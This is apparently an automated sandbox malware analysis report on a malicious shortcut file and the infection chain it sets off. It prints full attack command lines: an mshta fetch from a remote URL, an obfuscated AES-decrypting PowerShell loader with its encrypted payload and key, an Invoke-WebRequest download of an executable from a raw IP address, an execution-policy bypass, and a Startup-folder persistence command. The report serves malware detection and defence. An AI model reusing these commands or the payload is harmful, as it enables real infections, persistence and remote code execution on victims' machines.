Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EE32AC	11_2_00007FF7C0EE32AC
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E9529C	11_2_00007FF7C0E9529C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E5B390	11_2_00007FF7C0E5B390
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E895B0	11_2_00007FF7C0E895B0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EE56A0	11_2_00007FF7C0EE56A0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0F017C0	11_2_00007FF7C0F017C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E81750	11_2_00007FF7C0E81750
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E658D0	11_2_00007FF7C0E658D0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E7F8D0	11_2_00007FF7C0E7F8D0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ECD87C	11_2_00007FF7C0ECD87C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E5183C	11_2_00007FF7C0E5183C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E91840	11_2_00007FF7C0E91840
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EFBA0C	11_2_00007FF7C0EFBA0C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E5B9F0	11_2_00007FF7C0E5B9F0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E8793C	11_2_00007FF7C0E8793C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E6FA4F	11_2_00007FF7C0E6FA4F
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ED1A18	11_2_00007FF7C0ED1A18
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EFDB18	11_2_00007FF7C0EFDB18
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E63C20	11_2_00007FF7C0E63C20
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E7BEB4	11_2_00007FF7C0E7BEB4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E5BE70	11_2_00007FF7C0E5BE70
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E55F3C	11_2_00007FF7C0E55F3C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EE206C	11_2_00007FF7C0EE206C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF84867091E	18_2_00007FF84867091E
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006BB020	20_2_006BB020
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006B94E0	20_2_006B94E0
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006B9C80	20_2_006B9C80
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006D23F5	20_2_006D23F5
Source: C:\Users\Public\Guard.exe	Code function: 20_2_00738400	20_2_00738400
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006E6502	20_2_006E6502
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006E265E	20_2_006E265E
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006BE6F0	20_2_006BE6F0
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006D282A	20_2_006D282A
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006E89BF	20_2_006E89BF
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006E6A74	20_2_006E6A74
Source: C:\Users\Public\Guard.exe	Code function: 20_2_00730A3A	20_2_00730A3A
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006DCD51	20_2_006DCD51
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0070EDB2	20_2_0070EDB2
Source: C:\Users\Public\Guard.exe	Code function: 20_2_00718E44	20_2_00718E44
Source: C:\Users\Public\Guard.exe	Code function: 20_2_00730EB7	20_2_00730EB7
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006E6FE6	20_2_006E6FE6
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006D33B7	20_2_006D33B7
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006CD45D	20_2_006CD45D
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006DF409	20_2_006DF409
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006B1663	20_2_006B1663
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006CF628	20_2_006CF628
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006BF6A0	20_2_006BF6A0
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006D16B4	20_2_006D16B4
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006D78C3	20_2_006D78C3
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006D1BA8	20_2_006D1BA8
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006DDBA5	20_2_006DDBA5
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006E9CE5	20_2_006E9CE5
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006CDD28	20_2_006CDD28
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006D1FC0	20_2_006D1FC0
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006DBFD6	20_2_006DBFD6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_0029B020	24_2_0029B020
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002994E0	24_2_002994E0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_00299C80	24_2_00299C80
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002B23F5	24_2_002B23F5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_00318400	24_2_00318400
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002C6502	24_2_002C6502
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002C265E	24_2_002C265E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_0029E6F0	24_2_0029E6F0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002B282A	24_2_002B282A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002C89BF	24_2_002C89BF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_00310A3A	24_2_00310A3A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002C6A74	24_2_002C6A74
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002BCD51	24_2_002BCD51
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002EEDB2	24_2_002EEDB2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002F8E44	24_2_002F8E44
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_00310EB7	24_2_00310EB7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002C6FE6	24_2_002C6FE6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002B33B7	24_2_002B33B7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002BF409	24_2_002BF409
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002AD45D	24_2_002AD45D
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002AF628	24_2_002AF628
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_00291663	24_2_00291663
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_0029F6A0	24_2_0029F6A0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002B16B4	24_2_002B16B4
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002B78C3	24_2_002B78C3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002B1BA8	24_2_002B1BA8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002BDBA5	24_2_002BDBA5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002C9CE5	24_2_002C9CE5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002ADD28	24_2_002ADD28
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002B1FC0	24_2_002B1FC0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002BBFD6	24_2_002BBFD6

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Guard.exe D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: String function: 00007FF7C0E78D58 appears 76 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: String function: 002A1A36 appears 34 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: String function: 002B8B30 appears 42 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: String function: 002B0D17 appears 70 times
Source: C:\Users\Public\Guard.exe	Code function: String function: 006D0D17 appears 70 times
Source: C:\Users\Public\Guard.exe	Code function: String function: 006C1A36 appears 34 times
Source: C:\Users\Public\Guard.exe	Code function: String function: 006D8B30 appears 42 times

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 3023
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 3023			Jump to behavior

Source: Process Memory Space: powershell.exe PID: 4308, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.expl.evad.winLNK@41/73@4/3

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0ED3778 GetLastError,FormatMessageW,

11_2_00007FF7C0ED3778

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EBCCE0 AdjustTokenPrivileges,CloseHandle,	11_2_00007FF7C0EBCCE0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EBD5CC LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	11_2_00007FF7C0EBD5CC
Source: C:\Users\Public\Guard.exe	Code function: 20_2_00708DE9 AdjustTokenPrivileges,CloseHandle,	20_2_00708DE9
Source: C:\Users\Public\Guard.exe	Code function: 20_2_00709399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	20_2_00709399
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002E8DE9 AdjustTokenPrivileges,CloseHandle,	24_2_002E8DE9
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002E9399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	24_2_002E9399

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0ED57B0 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

11_2_00007FF7C0ED57B0

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0EEEB34 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

11_2_00007FF7C0EEEB34

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0ED83D4 CoInitialize,SHGetSpecialFolderLocation,SHGetDesktopFolder,CoCreateInstance,SHCreateShellItem,CoTaskMemFree,SHBrowseForFolderW,SHGetPathFromIDListW,CoTaskMemFree,CoTaskMemFree,CoUninitialize,

11_2_00007FF7C0ED83D4

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0E56580 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

11_2_00007FF7C0E56580

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6596:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7836:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7856:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xru3i0gj.fdn.ps1

Jump to behavior

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\forfiles.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: duyba.lnk.download.lnk	Virustotal: Detection: 20%
Source: duyba.lnk.download.lnk	ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Windows\System32\forfiles.exe "C:\Windows\System32\forfiles.exe" /p C:\Windows\System32 /m cmmon32.exe /c "powershell . \i\2\mshe https://tiffany-careers.com/ghep2
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe . \i\2\mshe https://tiffany-careers.com/ghep2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://tiffany-careers.com/ghep2
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($RptYb){return -split ($RptYb -replace '..', '0x$& ')};$TmDJyn = clean('85EF51FEE837F812F61F1656D38BD83A6C01DC072CBCF246D841948987B9BF3C9407C4F8ABE6B3AC5C50C036D5BF68E3CA56C456FB1B2404AC5CC6C48224E43EFF1648E7AF29CE17BF2F62A8A7C7F4DE07613F737B271AA100A67B779C122AD966C15CB3C823908B36BCCBE9B592D037365125E56312B004E07F513AA459ACF6BFEB51AC31152191AF94E56667A3D2A99C72466ED1996C430D4FDBDAAC444A645133FFD6F506740CE6AE51237562A4307EAF56A5E569B87DC171D550AD8A419C8822B7E0E8357121B4EE75DD16DB89B145D82B1C909ABECFAF2CA7275A13D2BF9E37AD98257B106D88D6988DB290C39C801B5ACD6E2249F2E178FCF16B59452E1DF6068D3A31595646428A980314EE83988BEB6E930DAD4F3640861D45D0A054E18C6A6A1DC88EC8B63FC99EA26D553E7BB5359CA978A904B26D285DA2E961D2C21E99F57B1C7F312913323B86FA89527AF31A5917C2DA9F587D7AD9CE91B6BF628678DF96FAE7AC81A58B57440B8A9E5A64E9BA96EB65240C98299F091495E74DF32B68B79275E2937AB69BF3BD5F0EC1E9A16BF58DA85A870C384779CDAD74B0CCBA5DB9AC7C88E57A05E5FB4B20E10C6C366F1EB3C39148D6FD619830E132F469D25D555A553DD869B43849F23E017958E14F9380CFE36FC613F285B96CA940C562F0BBE8C241411E58D012E23CE1C600E9337A739DB5AE1933D65A4E4AF946B7B1F6CF268BD58702C1B7772610043D981C68C31564F5D9BCBC8CD96ECCFFEEA53D365D01D36E4B3484C95363DD6F39138A67AA362CC9C4190026ABF641C6DF0E5D4A3DE01E05606278D5D2CD0D85DC89F086FAFB7491F9C40F89ED33F7D31C9484F5A8801EF1BABD7938BE509E2133642C8F35CA6BC2E09BEBD5D6E25F0DC30937B429ECB2F268B5D43052547BFA5B9ED413A38A20627D472EFB0F8E5508505831BA8934BFEEB8AE9A4BF2628245B5EC010BF6D308960A15DD28CFFB2D4FDABA50ADBE760CF86DACFCC1CC10A16D02B0C2946FCEDF74A822836F4B0F4975FF46B0CBA3CB495C20FC2E2D372C357A0897500BE09B0F824AA768EAFC28D39243CF341DE1E2A07E5CBD4B0252080E82D760C61806F6F7994A7DE1DCAB9D55F435A87A935C06EC1E878265F121BBA0C1C3B138C1C358E3620FE1A9D778846E6E0CC25C2E6EF13359D6033DE5B1EE13790F98BE7CD35C3B754897DB4583B2B846BCD4E1906C8F2416336E8F269DA57FC2A9824FD6457D1FBC840D50A0EBE6EA5D36FCDCAEB24318E174CC5E33792642277DCC1EBD38F0C1E9233BA2B6E85C963CD7EA29A78A0D2F2F3C1C85EEA9CB646881CEB314F342ECD05D23D5A754721D804D2562F5FDA471331489B61431D4EB09A03B9EF4D7FB5B3E8091B05427A6364A5B6D0281A41D08DF8F77CE3D19BBEDA721A10EB0619CC5BD0A356D2E124CD2962CE26B9E426500BC09F540E75EBD01524B2439910F6000364849B4B849A10268817BBDBE676C5F3DC1D39FA1F1A09760E6B0902B7C52C8F09DE7BF7015A029559284A573439130DC0912C8C12F8AFD9D26F921AF247BD1AFFBD37E1985F8D2709B4CE2681126C3BE8125DB7B0AB4C0CF4566221DEE6A82BC22EC143820A60C9066D3FDD32C6A78427A2E86463B2B6FFB7F128E906DB4659BDD9607349255B9A7F5362978B75C4A3D8234B1A87F09B3550450D25B8CC317C18849409DC37399F4E365EF0404E3CFE1AB8DBD8A85A9FF698337D674B0E24EFFA058A278F5943622');$MuOQabMc = [System.Security.Cryptography.Aes]::Create();$MuOQabMc.Key = clean('756561544973656A645A7544464B6A70');$MuOQabMc.IV = New-Object byte[] 16;$LaiuJGbhf = $MuOQabMc.CreateDecryptor();$mGnVsuDWp = [Text.Encoding]::UTF8.GetString($LaiuJGbhf.TransformFinalBlock
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Marketing.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1744,i,5196948583256038124,6281931824865784808,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\PefjSkkhb.exe "C:\Users\user\AppData\Roaming\PefjSkkhb.exe"
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Users\Public\Guard.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe . \i\2\mshe https://tiffany-careers.com/ghep2	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://tiffany-careers.com/ghep2	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($RptYb){return -split ($RptYb -replace '..', '0x$& ')};$TmDJyn = clean('85EF51FEE837F812F61F1656D38BD83A6C01DC072CBCF246D841948987B9BF3C9407C4F8ABE6B3AC5C50C036D5BF68E3CA56C456FB1B2404AC5CC6C48224E43EFF1648E7AF29CE17BF2F62A8A7C7F4DE07613F737B271AA100A67B779C122AD966C15CB3C823908B36BCCBE9B592D037365125E56312B004E07F513AA459ACF6BFEB51AC31152191AF94E56667A3D2A99C72466ED1996C430D4FDBDAAC444A645133FFD6F506740CE6AE51237562A4307EAF56A5E569B87DC171D550AD8A419C8822B7E0E8357121B4EE75DD16DB89B145D82B1C909ABECFAF2CA7275A13D2BF9E37AD98257B106D88D6988DB290C39C801B5ACD6E2249F2E178FCF16B59452E1DF6068D3A31595646428A980314EE83988BEB6E930DAD4F3640861D45D0A054E18C6A6A1DC88EC8B63FC99EA26D553E7BB5359CA978A904B26D285DA2E961D2C21E99F57B1C7F312913323B86FA89527AF31A5917C2DA9F587D7AD9CE91B6BF628678DF96FAE7AC81A58B57440B8A9E5A64E9BA96EB65240C98299F091495E74DF32B68B79275E2937AB69BF3BD5F0EC1E9A16BF58DA85A870C384779CDAD74B0CCBA5DB9AC7C88E57A05E5FB4B20E10C6C366F1EB3C39148D6FD619830E132F469D25D555A553DD869B43849F23E017958E14F9380CFE36FC613F285B96CA940C562F0BBE8C241411E58D012E23CE1C600E9337A739DB5AE1933D65A4E4AF946B7B1F6CF268BD58702C1B7772610043D981C68C31564F5D9BCBC8CD96ECCFFEEA53D365D01D36E4B3484C95363DD6F39138A67AA362CC9C4190026ABF641C6DF0E5D4A3DE01E05606278D5D2CD0D85DC89F086FAFB7491F9C40F89ED33F7D31C9484F5A8801EF1BABD7938BE509E2133642C8F35CA6BC2E09BEBD5D6E25F0DC30937B429ECB2F268B5D43052547BFA5B9ED413A38A20627D472EFB0F8E5508505831BA8934BFEEB8AE9A4BF2628245B5EC010BF6D308960A15DD28CFFB2D4FDABA50ADBE760CF86DACFCC1CC10A16D02B0C2946FCEDF74A822836F4B0F4975FF46B0CBA3CB495C20FC2E2D372C357A0897500BE09B0F824AA768EAFC28D39243CF341DE1E2A07E5CBD4B0252080E82D760C61806F6F7994A7DE1DCAB9D55F435A87A935C06EC1E878265F121BBA0C1C3B138C1C358E3620FE1A9D778846E6E0CC25C2E6EF13359D6033DE5B1EE13790F98BE7CD35C3B754897DB4583B2B846BCD4E1906C8F2416336E8F269DA57FC2A9824FD6457D1FBC840D50A0EBE6EA5D36FCDCAEB24318E174CC5E33792642277DCC1EBD38F0C1E9233BA2B6E85C963CD7EA29A78A0D2F2F3C1C85EEA9CB646881CEB314F342ECD05D23D5A754721D804D2562F5FDA471331489B61431D4EB09A03B9EF4D7FB5B3E8091B05427A6364A5B6D0281A41D08DF8F77CE3D19BBEDA721A10EB0619CC5BD0A356D2E124CD2962CE26B9E426500BC09F540E75EBD01524B2439910F6000364849B4B849A10268817BBDBE676C5F3DC1D39FA1F1A09760E6B0902B7C52C8F09DE7BF7015A029559284A573439130DC0912C8C12F8AFD9D26F921AF247BD1AFFBD37E1985F8D2709B4CE2681126C3BE8125DB7B0AB4C0CF4566221DEE6A82BC22EC143820A60C9066D3FDD32C6A78427A2E86463B2B6FFB7F128E906DB4659BDD9607349255B9A7F5362978B75C4A3D8234B1A87F09B3550450D25B8CC317C18849409DC37399F4E365EF0404E3CFE1AB8DBD8A85A9FF698337D674B0E24EFFA058A278F5943622');$MuOQabMc = [System.Security.Cryptography.Aes]::Create();$MuOQabMc.Key = clean('756561544973656A645A7544464B6A70');$MuOQabMc.IV = New-Object byte[] 16;$LaiuJGbhf = $MuOQabMc.CreateDecryptor();$mGnVsuDWp = [Text.Encoding]::UTF8.GetString($LaiuJGbhf.TransformFinalBlock	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Marketing.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\PefjSkkhb.exe "C:\Users\user\AppData\Roaming\PefjSkkhb.exe"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
